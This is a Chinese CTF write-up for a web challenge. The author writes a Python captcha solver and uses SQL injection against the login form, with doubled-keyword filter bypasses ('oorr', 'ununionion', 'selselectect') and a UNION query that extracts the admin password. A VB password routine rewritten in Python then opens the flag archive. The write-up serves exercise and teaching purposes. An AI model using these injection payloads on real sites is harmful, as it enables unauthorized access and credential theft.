您的位置:首页 > 其它

某平台CTF题目-Web-曲折的人生-wp

2020-02-05 23:30 113 查看

审题

下面就是该题目的主要页面,一共三个提交数据的地方,用户名、密码和验证码,其中用户名密码可能是利用的弱口令,也可能是万能密码,需要注意的是验证码是下面式子的计算结果,而且必须要在3秒内提交,这里我用python进行计算然后提交数据。

解题步骤

  1. 写一个python脚本获取到题目的页面,然后通过正则匹配到计算公式,然后将表单数据提交。
# 下面的代码是获取到页面内容,然后提取计算式进行计算得到结果。
r = requests.session()
d = r.get("http://*****/index.php", timeout=5)
dd = re.search("<div class='rep'>(.*?)</div>", d.text,re.I)
# print(d.text)
# print(type(dd.group(1)))
# 得到的式子由于含有中文符号,导致eval()无法执行,所以要将中文符号替换为相对应的英文符号
dddd = dd.group(1).strip().replace(' ','').replace('(', "(").replace(')', ')').replace('X', '*')
ddd = eval(dddd)  # 这是计算结果

分析点击登录得到的URL请求头,需要注意这里的类型是表单形式。

得到结果后进行表单提交

# 这里的用户名与密码先随便填,看一下返回的数据是什么。
data = {
"username":"ddd",
"password":"ddd",
"code": ddd
}
b = r.post('http://*******/index.php?check', data=data)
print(b.text)
  1. 验证码正确,说明计算结果是没问题的。

  2. 在用户名这里它给返回了一条查询语句,

    select id,username,password from
    admin
    where username = 'ddd'
    ,通过这条语句可以判定这里存在sql注入,下面构造payload进行测试;

    # 通过测试发现or被过滤了,通过oorr发现可以绕过
    data = {
    "username":"dd' oorr '1'='1",
    "password":"dd",
    "code": ddd
    }
    b = r.post('http://*******/index.php?check', data=data)
    print(b.text)
  3. 通过查看返回的数据,可以看到返回了用户名

    下面就剩下password需要解决,从上面的查询语句可以知道password,所以直接构造payload:

    ddd'/**/ununionion/**/selselectect/**/1, passwoorrd,2/**/from/**/admin/**/where/**/username='goodboy_g-60Hellowoorr'/**/oorr/**/'1'='1
    ,通过测试发现网站对union,select,空格进行了过滤,而且显示位就是第二个,所以构造了上面的payload。
    执行成功后会直接显示查询出来的密码
    完整的请求

    import requests
    
    r = requests.session()
    d = r.get("http://*******/index.php", timeout=5)
    dd = re.search("<div class='rep'>(.*?)</div>", d.text,re.I)
    dddd = dd.group(1).strip().replace(' ','').replace('(', "(").replace(')', ')').replace('X', '*')
    ddd = eval(dddd)
    data = {
    "username":"goodboy_g-60Hellowoorr",
    "password":"ajahas&&*44askldajaj",
    "code": ddd
    }
    b = r.post('http://*******/index.php?check', data=data)
    print(b.text)

  4. 本来以为这样就能得到flag,没想到又出来个代码审计,😐,访问这个链接,会得到一个压缩包,解压后出来一个文本文件和flag.zip,
    查看文本文件,懵了,没见过的编程语言写的,通过搜索引擎查找到这应该是VB写的

  5. 通过分析得出,该代码的主要逻辑就是将Directory的值作为参数传给getPassword函数,然后通过该函数里的While中的处理返回数据并赋给password,然后有一个输入框,输入密码给psw然后与password比对是否相同,不相同弹出一个框框说明密码错误 ,相同的话,先弹个框,然后将刚刚输入框中的文字替换为 Password for next pass :这里调用getPassword(password),将处理后的password的值返回,这个值就是最后的解压密码
    附上自己python版的代码:

    def get_password(str):
    reString = ""
    i = 1
    while i <= len(str):
    reString += str[i-1:i:1]
    i += i%5
    getPassword = reString
    return getPassword
    
    Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJs" \
    "SnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkp" \
    "rTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFa" \
    "dFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZs" \
    "ZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdh" \
    "elY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpu" \
    "SlRORUpUTkU="
    password = get_password(Dictionary)
    password = get_password(password)
    print(password)
  6. 最后得出的密码为

    VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

  7. 将解压后的图片文件用记事本打开即可得到flag

总结

确实挺曲折的,这个代码审计真的触及到了我的知识盲区。

  • 点赞
  • 收藏
  • 分享
  • 文章举报
HangingSword 发布了2 篇原创文章 · 获赞 0 · 访问量 55 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: